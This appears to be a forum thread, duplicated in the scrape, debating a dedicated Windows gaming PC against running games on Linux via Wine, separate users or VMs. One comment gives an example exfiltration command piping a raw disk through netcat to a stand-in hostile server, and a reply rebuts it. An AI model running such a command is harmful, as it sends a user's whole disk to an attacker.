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Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. The small price I pay for having to manually type a Steam authentication code from my phone into the gaming PC is worth it to never have to worry about the insane level of insecurity and bugs from the gaming sphere. The amount of RCE in gaming is pretty bad. And, you know, sometimes your friends message you and want to play a game that is new and from a developer nobody can really trust. Combine that with the fact that the first thing almost every game does is phone home to try and download new executable content and IMO you would be irresponsible to keep your important documents/credentials on a system that is also used for gaming.

badsectoracula 5y ago
> if you value your time and security, just keep a dedicated Windows system for gaming Not everyone has the space and money for this. In fact most people don't and when you buy a powerful PC for games you most likely also want to use it for your other PC tasks too - especially if you are a developer. Even if one has both the space and money, they may just not want to "task switch" between different machines (e.g. i do have a bunch of computers in my place but 99% of the time i use just one). Also switching between games and work in a different virtual desktop or whatever is way faster and more convenient than even rolling your chair to some other desk to another PC. > I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. Neat, but the same applies if you are running games under Wine since everything is running under Linux and not Windows. You do not even need to have Windows installed. If you are too paranoid to even touch an EXE because it might access other stuff in your home directory you can run the games under a different user with access only to that user's files. > worry about the insane level of insecurity and bugs from the gaming sphere. The amount of RCE in gaming is pretty bad.And, you know, sometimes your friends message you and want to play a game that is new and from a developer nobody can really trust. If you do not trust a developer it is much easier and safer to not download and run the game. If there is any issue with the game, it'll be quickly figured out. It is not any different than a game targeting Linux or really any other piece of software. > Combine that with the fact that the first thing almost every game does is phone home to try and download new executable content and IMO you would be irresponsible to keep your important documents/credentials on a system that is also used for gaming. This is what pretty much EVERY software - game related or not - for pretty much EVERY OS that has some form of automatic updates does! Singling out Windows games is a bit of a double standard when your browser could be updated right tomorrow with a brand new bug that enables sites to access your SSH keys (AFAIK this has actually happened with Firefox on Linux). If anything, at least if you are playing singleplayer games, it is much easier to keep games to a known well working version when you stick with DRM-free games like those you can buy from GOG, Zoom Platform, GamersGate (not all are DRM-free there but there is a filter), Humble Bundle (similar case, not all are DRM-free), etc instead of Steam. Though even if you stick with Steam, i doubt Valve (or any other game store) wants to distribute actual malware from their service and things will either be fixed or removed.
- l-albertovich 5y ago
  If you don't have the money or space what you can do is just have 2 hard drives, one fully encrypted running whichever OS you want and one with windows. Unplugging the secure one when booting into the insecure one would be ideal but not required. In this case you'd still be vulnerable to certain EFI based attacks but at least you'd be safe from most common crooks. I mean, seriously, running stuff with wine is OK if your expectatives are aligned with reality which is, you're running stuff there. If you complain about wine but then are completely fine with the typical 'curl XXX | bash" well, yeah, you're SoL but other than that some degree of separation is good.
  - badsectoracula 5y ago
    I don't think there is a point on doing that, Windows isn't even running if you dual boot, why bother having 2 hard drives? Just place Windows in another partition. But the point is to get rid of Windows completely without giving up the ability to play Windows games.
    - l-albertovich 5y ago
      They point of having 2 drives is being able to better isolate your secure system. If you physically unplug your secure drive then you know for sure that no fun stuff is going on behind your back. I'm not entirely sure about secure boot when it comes to validating the boot loader of an installed system so I can't vouch for that but I do know that UEFI kits aside, unless you have a proper way to validate the secure systems boot loader it could be tampered with if the disk is accessible by a compromised system. IMO the point is not to get rid of windows but to isolate whichever insecure system you use in a way in which it can't hurt the secure system (it could even be a secondary Linux system where you use Wine if that's what you want)
morsch 5y ago
A separate Linux user would go a long way. You'd have to be very unlucky to get hit by a RCE in a game that's simultaneously targeted at Proton users.
- devwastaken 5y ago
  With PC gaming it's more of an issue of having to install all sorts of various software, including game mods, or the ever popular "hey try out my game" scams through discord. A popular one is distributing malicious unity assets. We don't realize that most of this stuff has little to no security, simply put just nobody exploits it. Dark souls series all had an online RCE and the game servers have been down for a while. I do not trust any of that near my dev environment. I've found a great separation is a PC with dual boot and a laptop with only Linux.
  - laumars 5y ago
    A RCE in Windows software running on WINE wouldn’t have much benefit on Linux unless the attacker specifically knew said software was running in WINE. 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE. 2. The amount of Windows software installed in WINE is limited. So you don’t have a large attack surface of Windows software. That not only limits the amount an attacker can do in the sandbox but also limits the surface area that further RCEs might exist 3. Even if you could escape WINE you’re then stuck with the problem that you don’t know what the host OS is. So you’re stuck with generalised POSIX or GNU. Which might still be common but far far less common than going after Windows users.
    - q3k 5y ago
      > 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE. Are you sure about this? I was the impression that there's nothing preventing an .exe running under Wine from just issuing Linux syscalls, eg. execve. EDIT: I just tested this, and indeed there doesn't seem to be any sandboxing: cursed.c: https://gist.github.com/q3k/e5952111283ea59ee78a7699919a055b https://gist.github.com/q3k/e5952111283ea59ee78a7699919a055b cursed.exe (built in msys2): https://object.ceph-eu.hswaw.net/q3k-personal/b8159d43e0698d27379c537a3cddc85f6df622329af9399e7caee3fc1d3a922d.exe https://object.ceph-eu.hswaw.net/q3k-personal/b8159d43e0698d... $ wine cursed.exe hello from win32 hello from linux hello from execve
neilv 5y ago
I use a gaming console (PS4) for similar reasons.
- unixhero 5y ago
  Sure but a console will never replace the joy of PC gaming
  - jesprenj 5y ago
    Sure but a dedicated Windows machine will never replace the joy of gaming on a FOSS OS. (;
    - unixhero 5y ago
      I fully agree! However I do keep a Windows partition for some titles.
  - drKarl 5y ago
    PC Gamer Master Race
shmerl 5y ago
You don't need Windows for security. If you want isolation, run another Linux separate from your main one and use Wine there all the same. Windows and security is a poor combination to begin with.
- ericpruitt 5y ago
  This is the approach I use. Aside from my main account, I have a separate account Steam, a separate account for Wine applications and another account for miscellaneous applications. I have an iptables rule that I use to selectively disable network traffic from applications I don't want/expect to communicate with the outside world and disable cron and atd to reduce the avenues for persistent applications.
burner556 5y ago
Or better yet just buy a game console and don’t worry about any headaches :)
- wintermutestwin 5y ago
  I use mods on all of the games I am interested in. Also, using controllers vs. KB+M is a horrible experience for me.
- badsectoracula 5y ago
  The problem with consoles is that your games library is basically hostage to the platform and the excessive DRM they have. With PC games you can play the games on any PC, current or future and especially if you stick with DRM-free games you can play the games years or even decades after they were out. If you only care about playing a game now and then without caring what might happen in 4-5 years consoles might be ok, but i think that everyone eventually will find a game they'd like to be able to re/play 10+ years later on their current hardware and consoles make that hard.
- autoexec 5y ago
  I recently picked up a PS3 and it seems like in almost every game I play, even though by now most of those games are as patched as they're ever going to be, I keep finding bugs that could have been worked around if I'd been playing the PC version. If simple console commands (which so far have never been accessible on the PS3) couldn't solve the problem, often there's a mod someone wrote that would have. I guess the PS4 has a limited ability to use mods at least, so maybe that's improved the situation a little, but it's made me consider ditching playing anything on a console if PC is an option. I'd have to say the console experience (circa 2013) is not at all without headaches.
- numlock86 5y ago
  Don't consoles have these ridiculous "subscriptions" that you need to "unlock" networking/multiplayer?
- haunter 5y ago
  Paid multiplayer is the biggest scam ever
GoblinSlayer 5y ago
>Combine that with the fact that the first thing almost every game does is phone home to try and download new executable content Chrome did it before it became mainstream.
netheril96 5y ago
It would be enough to just have a separate account for gaming if the games I am interested in did not require admin privileges.
autoexec 5y ago
> I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. This was my plan too, but my intention was to keep the windows box offline 99% of the time (pretty much only connecting for downloads/installs). I still didn't like the idea of installing steam on the machine though since that would mean it's got my personal info on it and I'd be making purchases on it. Now that steam thinks they can get a large number of games running on their Linux-based handheld shouldn't that mean most games should work on a linux desktop without much trouble? I'm hoping this means I can avoid windows 10/11 entirely.
- pferde 5y ago
  Most games already do run with little or no problems. I recommend looking up games you are interested in on https://protondb.com https://protondb.com to see how well you can expect them to run with Proton.
  - ddtaylor 5y ago
    ProtonDB is really cool and I have been a big supporter (and contributor) over the last few years. The problem (and what you'll see if you look closer at the database) is that we have this giant elephant in the room in the Linux community named Nvidia. What works for an Intel/AMD GPU user may not work for an Nvidia user and the level of bugs associated with Nvidia on Linux is obscene. It sucks, and yeah, just buy AMD cards, but the reality is that Nvidia dominates the GPU space right now significantly and their cards seem to be a few generates ahead of AMD still. Just a while ago for a CTF we implemented some hash breaking algorithms in OpenCL and CUDA and members of our team ran them on their own hardware. Firstly, we did it in Windows despite otherwise doing everything in Linux because the OpenCL/CUDA support and speed was leaps and bounds ahead on Windows. Next we compared the performance of hashes per second and it was orders of magnitude worse on AMD cards. We tweaked the algorithm a bit here and there to favor the AMD card and saw some minor gains, but overall we're talking a difference of 15/s versus 200/s in terms of how many hashes it was breaking per second.
bodge5000 5y ago
I've thought about doing something like this before, does your windows machine have its own keyboard, mouse and monitors or do you have some kind of switch involved? I haven't worked out a good way yet of using multiple monitors over two machines whilst sharing audio and input between the two
- Tildey 5y ago
  I have a USB switch, my keyboard and mouse go into the USB hub on my monitor, and that hub is switched between my laptop dock and my windows pc. The monitor input is changed on the monitor. A proper KVM would be easier but is also many times more expensive. I use my laptop open though, so I can still control it when using the windows pc. For audio, I use a simple 3.5mm splitter. They work in both directions, so with the right combination of male/female 3.5mm cables you can merge the audio for about $10. There are fancier audiophile solutions too. Something like synergy (from symless, there are competitors and FOSS alternatives but I can’t remember their names) might be good for your use case, to carry over m/kb input to the non-windows machine.
- Prunkton 5y ago
  I have windows machine under the desk with no screen, keyboard etc. I connect remotely to windows via https://parsec.app/ https://parsec.app/ it is super fast, it needs like 20ms via Ethernet (https://www.youtube.com/watch?v=DksBBlHzulY https://www.youtube.com/watch?v=DksBBlHzulY). As long you are no cs-pRogAMer you will be just fine and can access your full windows environment without the hardware hassle. The fullscreen encoding quality in H.256 is also pretty decent. It also works via Internet out of the box with any shitty office notebook ;)
- blibble 5y ago
  if you're competitive and want low latency/high framerate: you can do all of this with a single cheap USB physical switch (about $2 on ali express), plus DDC to switch monitor inputs automatically I have this hooked up, so that I push the switch and the monitor inputs automatically switch I also have a (cheap) physical audio mixer to do the audio, but you can do the same thing with pulseaudio and a line-in cable from one computer to another
- 5y ago
bni 5y ago
I also keep my Windows gaming PC only for gaming. Reinstall it regularly, because this is the Windows way. I have a DisplayPort USB KVM switch to quickly switch monitor, headphones, mouse and keyboard between my mac mini (that I normally use) and the gaming PC.
- stockerta 5y ago
  "Reinstall it regularly, because this is the Windows way." When did you last use windows regularly? In the 9x era?
  - wintermutestwin 5y ago
    Win 7 and 10 have frequently ran into issues where updates fail to install for goofy and often inexplicable reasons. It is easier and faster to just reinstall that garbage without wasting time troubleshooting.
luciusdomitius 5y ago
The security concern is very very valid. It is surprising how well wine&co run windows malware considering that they were (probably) never specifically meant nor tested for that.
hparadiz 5y ago
This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Running games on Linux is not about security or time savings. It's about control. It's about being able to sit down and play your game without Windows having a hissy fit about Windows updates. It's about being able to just play without worrying that some bad patch from Microsoft will hose your entire setup. And it's about finally wrestling control over gaming away from a company that cares more about taking your money than actually letting you play games you already have. And the more people we get running Linux for gaming the better everyone will be better off for it.
- planb 5y ago
  Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.
- jcelerier 5y ago
  > This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Reminds me of https://xkcd.com/1200/ https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.
  - turrini 5y ago
    > If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda
prmoustache 5y ago
> Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. I agree with the part about running a dedicated system for gaming. I do the same but for creating music (I am not gaming). On the other hand you don't need to do that on Windows so these tools still are useful. I will add that if you have network segregation and firewalling between your main computer, your dedicated setup (gaming, whatever....) and the potential iot things running in your house it is even better.
dark-star 5y ago
You can just use a Windows-VM, and if you're concerned about performance, use PCIe passthrough for your graphics card. Or use something like https://looking-glass.io/ https://looking-glass.io/
- mschuster91 5y ago
  > and if you're concerned about performance, use PCIe passthrough for your graphics card. Won't work with NVIDIA cards at all without a boatload of hacks (because they don't want consumer cards to be used in virtualized environments), and AMD cards are an utter pain in the ass to work with because AMD can't be bothered to get basic PCI stuff to work [1]. Also, you always run the risk of some anti-cheat solution detecting your virtualization environment and banning you permanently. If you value your sanity, don't do gaming inside a VM. [1]: https://www.nicksherlock.com/2020/11/working-around-the-amd-gpu-reset-bug-on-proxmox/ https://www.nicksherlock.com/2020/11/working-around-the-amd-...
  - ridgered4 5y ago
    Nvidia recently removed the driver check on consumer cards making them the clear choice now. I've actually had good luck with AMD cards, but the reset bug is truly bizarre. For instance I own an evga R7 360, no reset bug, very reliable. I had also purchased an XFX R7 360, never survived a reboot! My sapphire RX 470 also works fine with no special actions from me and I've heard people have issues with that one. You're definitely correct regarding anti-cheats though, they are something you have to watch out for.
  - lodi 5y ago
    > Won't work with NVIDIA cards at all without a boatload of hacks... Actually the hack required to do this is quite minimal. This is the only thing I had to do to get the driver unblocked in win10/win11 for my rtx3070. I lifted this directly from https://mathiashueber.com/fighting-error-43-nvidia-gpu-virtual-machine/ https://mathiashueber.com/fighting-error-43-nvidia-gpu-virtu... <features> <hyperv> <vendor_id state='on' value='1234567890ab'/> </hyperv> <kvm> <hidden state='on'/> </kvm> </features>
marwis 5y ago
I game on Windows but had to start using Linux/Wine/Lutris because some old games (but not that old) don't work on modern Windows versions. I suppose once WSL2 GPU support improves I will be running Wine over WSL2 :)
wintermutestwin 5y ago
This is exactly what I am doing (I also have my Win box on a walled off segment of my network). It does seem silly that my most powerful computer is a one-trick-pony, but I run my most demanding apps on Mac...

badsectoracula 5y ago

> if you value your time and security, just keep a dedicated Windows system for gaming Not everyone has the space and money for this. In fact most people don't and when you buy a powerful PC for games you most likely also want to use it for your other PC tasks too - especially if you are a developer. Even if one has both the space and money, they may just not want to "task switch" between different machines (e.g. i do have a bunch of computers in my place but 99% of the time i use just one). Also switching between games and work in a different virtual desktop or whatever is way faster and more convenient than even rolling your chair to some other desk to another PC. > I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. Neat, but the same applies if you are running games under Wine since everything is running under Linux and not Windows. You do not even need to have Windows installed. If you are too paranoid to even touch an EXE because it might access other stuff in your home directory you can run the games under a different user with access only to that user's files. > worry about the insane level of insecurity and bugs from the gaming sphere. The amount of RCE in gaming is pretty bad.And, you know, sometimes your friends message you and want to play a game that is new and from a developer nobody can really trust. If you do not trust a developer it is much easier and safer to not download and run the game. If there is any issue with the game, it'll be quickly figured out. It is not any different than a game targeting Linux or really any other piece of software. > Combine that with the fact that the first thing almost every game does is phone home to try and download new executable content and IMO you would be irresponsible to keep your important documents/credentials on a system that is also used for gaming. This is what pretty much EVERY software - game related or not - for pretty much EVERY OS that has some form of automatic updates does! Singling out Windows games is a bit of a double standard when your browser could be updated right tomorrow with a brand new bug that enables sites to access your SSH keys (AFAIK this has actually happened with Firefox on Linux). If anything, at least if you are playing singleplayer games, it is much easier to keep games to a known well working version when you stick with DRM-free games like those you can buy from GOG, Zoom Platform, GamersGate (not all are DRM-free there but there is a filter), Humble Bundle (similar case, not all are DRM-free), etc instead of Steam. Though even if you stick with Steam, i doubt Valve (or any other game store) wants to distribute actual malware from their service and things will either be fixed or removed.

l-albertovich 5y ago
If you don't have the money or space what you can do is just have 2 hard drives, one fully encrypted running whichever OS you want and one with windows. Unplugging the secure one when booting into the insecure one would be ideal but not required. In this case you'd still be vulnerable to certain EFI based attacks but at least you'd be safe from most common crooks. I mean, seriously, running stuff with wine is OK if your expectatives are aligned with reality which is, you're running stuff there. If you complain about wine but then are completely fine with the typical 'curl XXX | bash" well, yeah, you're SoL but other than that some degree of separation is good.
- badsectoracula 5y ago
  I don't think there is a point on doing that, Windows isn't even running if you dual boot, why bother having 2 hard drives? Just place Windows in another partition. But the point is to get rid of Windows completely without giving up the ability to play Windows games.
  - l-albertovich 5y ago
    They point of having 2 drives is being able to better isolate your secure system. If you physically unplug your secure drive then you know for sure that no fun stuff is going on behind your back. I'm not entirely sure about secure boot when it comes to validating the boot loader of an installed system so I can't vouch for that but I do know that UEFI kits aside, unless you have a proper way to validate the secure systems boot loader it could be tampered with if the disk is accessible by a compromised system. IMO the point is not to get rid of windows but to isolate whichever insecure system you use in a way in which it can't hurt the secure system (it could even be a secondary Linux system where you use Wine if that's what you want)

morsch 5y ago

A separate Linux user would go a long way. You'd have to be very unlucky to get hit by a RCE in a game that's simultaneously targeted at Proton users.

devwastaken 5y ago
With PC gaming it's more of an issue of having to install all sorts of various software, including game mods, or the ever popular "hey try out my game" scams through discord. A popular one is distributing malicious unity assets. We don't realize that most of this stuff has little to no security, simply put just nobody exploits it. Dark souls series all had an online RCE and the game servers have been down for a while. I do not trust any of that near my dev environment. I've found a great separation is a PC with dual boot and a laptop with only Linux.
- laumars 5y ago
  A RCE in Windows software running on WINE wouldn’t have much benefit on Linux unless the attacker specifically knew said software was running in WINE. 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE. 2. The amount of Windows software installed in WINE is limited. So you don’t have a large attack surface of Windows software. That not only limits the amount an attacker can do in the sandbox but also limits the surface area that further RCEs might exist 3. Even if you could escape WINE you’re then stuck with the problem that you don’t know what the host OS is. So you’re stuck with generalised POSIX or GNU. Which might still be common but far far less common than going after Windows users.
  - q3k 5y ago
    > 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE. Are you sure about this? I was the impression that there's nothing preventing an .exe running under Wine from just issuing Linux syscalls, eg. execve. EDIT: I just tested this, and indeed there doesn't seem to be any sandboxing: cursed.c: https://gist.github.com/q3k/e5952111283ea59ee78a7699919a055b https://gist.github.com/q3k/e5952111283ea59ee78a7699919a055b cursed.exe (built in msys2): https://object.ceph-eu.hswaw.net/q3k-personal/b8159d43e0698d27379c537a3cddc85f6df622329af9399e7caee3fc1d3a922d.exe https://object.ceph-eu.hswaw.net/q3k-personal/b8159d43e0698d... $ wine cursed.exe hello from win32 hello from linux hello from execve

neilv 5y ago

I use a gaming console (PS4) for similar reasons.

unixhero 5y ago
Sure but a console will never replace the joy of PC gaming
- jesprenj 5y ago
  Sure but a dedicated Windows machine will never replace the joy of gaming on a FOSS OS. (;
  - unixhero 5y ago
    I fully agree! However I do keep a Windows partition for some titles.
- drKarl 5y ago
  PC Gamer Master Race

shmerl 5y ago

You don't need Windows for security. If you want isolation, run another Linux separate from your main one and use Wine there all the same. Windows and security is a poor combination to begin with.

ericpruitt 5y ago
This is the approach I use. Aside from my main account, I have a separate account Steam, a separate account for Wine applications and another account for miscellaneous applications. I have an iptables rule that I use to selectively disable network traffic from applications I don't want/expect to communicate with the outside world and disable cron and atd to reduce the avenues for persistent applications.

burner556 5y ago

Or better yet just buy a game console and don’t worry about any headaches :)

wintermutestwin 5y ago
I use mods on all of the games I am interested in. Also, using controllers vs. KB+M is a horrible experience for me.
badsectoracula 5y ago
The problem with consoles is that your games library is basically hostage to the platform and the excessive DRM they have. With PC games you can play the games on any PC, current or future and especially if you stick with DRM-free games you can play the games years or even decades after they were out. If you only care about playing a game now and then without caring what might happen in 4-5 years consoles might be ok, but i think that everyone eventually will find a game they'd like to be able to re/play 10+ years later on their current hardware and consoles make that hard.
autoexec 5y ago
I recently picked up a PS3 and it seems like in almost every game I play, even though by now most of those games are as patched as they're ever going to be, I keep finding bugs that could have been worked around if I'd been playing the PC version. If simple console commands (which so far have never been accessible on the PS3) couldn't solve the problem, often there's a mod someone wrote that would have. I guess the PS4 has a limited ability to use mods at least, so maybe that's improved the situation a little, but it's made me consider ditching playing anything on a console if PC is an option. I'd have to say the console experience (circa 2013) is not at all without headaches.
numlock86 5y ago
Don't consoles have these ridiculous "subscriptions" that you need to "unlock" networking/multiplayer?
haunter 5y ago
Paid multiplayer is the biggest scam ever

GoblinSlayer 5y ago

>Combine that with the fact that the first thing almost every game does is phone home to try and download new executable content Chrome did it before it became mainstream.

netheril96 5y ago

It would be enough to just have a separate account for gaming if the games I am interested in did not require admin privileges.

autoexec 5y ago

> I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. This was my plan too, but my intention was to keep the windows box offline 99% of the time (pretty much only connecting for downloads/installs). I still didn't like the idea of installing steam on the machine though since that would mean it's got my personal info on it and I'd be making purchases on it. Now that steam thinks they can get a large number of games running on their Linux-based handheld shouldn't that mean most games should work on a linux desktop without much trouble? I'm hoping this means I can avoid windows 10/11 entirely.

pferde 5y ago
Most games already do run with little or no problems. I recommend looking up games you are interested in on https://protondb.com https://protondb.com to see how well you can expect them to run with Proton.
- ddtaylor 5y ago
  ProtonDB is really cool and I have been a big supporter (and contributor) over the last few years. The problem (and what you'll see if you look closer at the database) is that we have this giant elephant in the room in the Linux community named Nvidia. What works for an Intel/AMD GPU user may not work for an Nvidia user and the level of bugs associated with Nvidia on Linux is obscene. It sucks, and yeah, just buy AMD cards, but the reality is that Nvidia dominates the GPU space right now significantly and their cards seem to be a few generates ahead of AMD still. Just a while ago for a CTF we implemented some hash breaking algorithms in OpenCL and CUDA and members of our team ran them on their own hardware. Firstly, we did it in Windows despite otherwise doing everything in Linux because the OpenCL/CUDA support and speed was leaps and bounds ahead on Windows. Next we compared the performance of hashes per second and it was orders of magnitude worse on AMD cards. We tweaked the algorithm a bit here and there to favor the AMD card and saw some minor gains, but overall we're talking a difference of 15/s versus 200/s in terms of how many hashes it was breaking per second.

bodge5000 5y ago

I've thought about doing something like this before, does your windows machine have its own keyboard, mouse and monitors or do you have some kind of switch involved? I haven't worked out a good way yet of using multiple monitors over two machines whilst sharing audio and input between the two

Tildey 5y ago
I have a USB switch, my keyboard and mouse go into the USB hub on my monitor, and that hub is switched between my laptop dock and my windows pc. The monitor input is changed on the monitor. A proper KVM would be easier but is also many times more expensive. I use my laptop open though, so I can still control it when using the windows pc. For audio, I use a simple 3.5mm splitter. They work in both directions, so with the right combination of male/female 3.5mm cables you can merge the audio for about $10. There are fancier audiophile solutions too. Something like synergy (from symless, there are competitors and FOSS alternatives but I can’t remember their names) might be good for your use case, to carry over m/kb input to the non-windows machine.
Prunkton 5y ago
I have windows machine under the desk with no screen, keyboard etc. I connect remotely to windows via https://parsec.app/ https://parsec.app/ it is super fast, it needs like 20ms via Ethernet (https://www.youtube.com/watch?v=DksBBlHzulY https://www.youtube.com/watch?v=DksBBlHzulY). As long you are no cs-pRogAMer you will be just fine and can access your full windows environment without the hardware hassle. The fullscreen encoding quality in H.256 is also pretty decent. It also works via Internet out of the box with any shitty office notebook ;)
blibble 5y ago
if you're competitive and want low latency/high framerate: you can do all of this with a single cheap USB physical switch (about $2 on ali express), plus DDC to switch monitor inputs automatically I have this hooked up, so that I push the switch and the monitor inputs automatically switch I also have a (cheap) physical audio mixer to do the audio, but you can do the same thing with pulseaudio and a line-in cable from one computer to another
5y ago

bni 5y ago

I also keep my Windows gaming PC only for gaming. Reinstall it regularly, because this is the Windows way. I have a DisplayPort USB KVM switch to quickly switch monitor, headphones, mouse and keyboard between my mac mini (that I normally use) and the gaming PC.

stockerta 5y ago
"Reinstall it regularly, because this is the Windows way." When did you last use windows regularly? In the 9x era?
- wintermutestwin 5y ago
  Win 7 and 10 have frequently ran into issues where updates fail to install for goofy and often inexplicable reasons. It is easier and faster to just reinstall that garbage without wasting time troubleshooting.

luciusdomitius 5y ago

The security concern is very very valid. It is surprising how well wine&co run windows malware considering that they were (probably) never specifically meant nor tested for that.

hparadiz 5y ago

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Running games on Linux is not about security or time savings. It's about control. It's about being able to sit down and play your game without Windows having a hissy fit about Windows updates. It's about being able to just play without worrying that some bad patch from Microsoft will hose your entire setup. And it's about finally wrestling control over gaming away from a company that cares more about taking your money than actually letting you play games you already have. And the more people we get running Linux for gaming the better everyone will be better off for it.

planb 5y ago
Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.
jcelerier 5y ago
> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Reminds me of https://xkcd.com/1200/ https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.
- turrini 5y ago
  > If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda

prmoustache 5y ago

> Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way. I agree with the part about running a dedicated system for gaming. I do the same but for creating music (I am not gaming). On the other hand you don't need to do that on Windows so these tools still are useful. I will add that if you have network segregation and firewalling between your main computer, your dedicated setup (gaming, whatever....) and the potential iot things running in your house it is even better.

dark-star 5y ago

You can just use a Windows-VM, and if you're concerned about performance, use PCIe passthrough for your graphics card. Or use something like https://looking-glass.io/ https://looking-glass.io/

mschuster91 5y ago
> and if you're concerned about performance, use PCIe passthrough for your graphics card. Won't work with NVIDIA cards at all without a boatload of hacks (because they don't want consumer cards to be used in virtualized environments), and AMD cards are an utter pain in the ass to work with because AMD can't be bothered to get basic PCI stuff to work [1]. Also, you always run the risk of some anti-cheat solution detecting your virtualization environment and banning you permanently. If you value your sanity, don't do gaming inside a VM. [1]: https://www.nicksherlock.com/2020/11/working-around-the-amd-gpu-reset-bug-on-proxmox/ https://www.nicksherlock.com/2020/11/working-around-the-amd-...
- ridgered4 5y ago
  Nvidia recently removed the driver check on consumer cards making them the clear choice now. I've actually had good luck with AMD cards, but the reset bug is truly bizarre. For instance I own an evga R7 360, no reset bug, very reliable. I had also purchased an XFX R7 360, never survived a reboot! My sapphire RX 470 also works fine with no special actions from me and I've heard people have issues with that one. You're definitely correct regarding anti-cheats though, they are something you have to watch out for.
- lodi 5y ago
  > Won't work with NVIDIA cards at all without a boatload of hacks... Actually the hack required to do this is quite minimal. This is the only thing I had to do to get the driver unblocked in win10/win11 for my rtx3070. I lifted this directly from https://mathiashueber.com/fighting-error-43-nvidia-gpu-virtual-machine/ https://mathiashueber.com/fighting-error-43-nvidia-gpu-virtu... <features> <hyperv> <vendor_id state='on' value='1234567890ab'/> </hyperv> <kvm> <hidden state='on'/> </kvm> </features>

marwis 5y ago

I game on Windows but had to start using Linux/Wine/Lutris because some old games (but not that old) don't work on modern Windows versions. I suppose once WSL2 GPU support improves I will be running Wine over WSL2 :)

wintermutestwin 5y ago

This is exactly what I am doing (I also have my Win box on a walled off segment of my network). It does seem silly that my most powerful computer is a one-trick-pony, but I run my most demanding apps on Mac...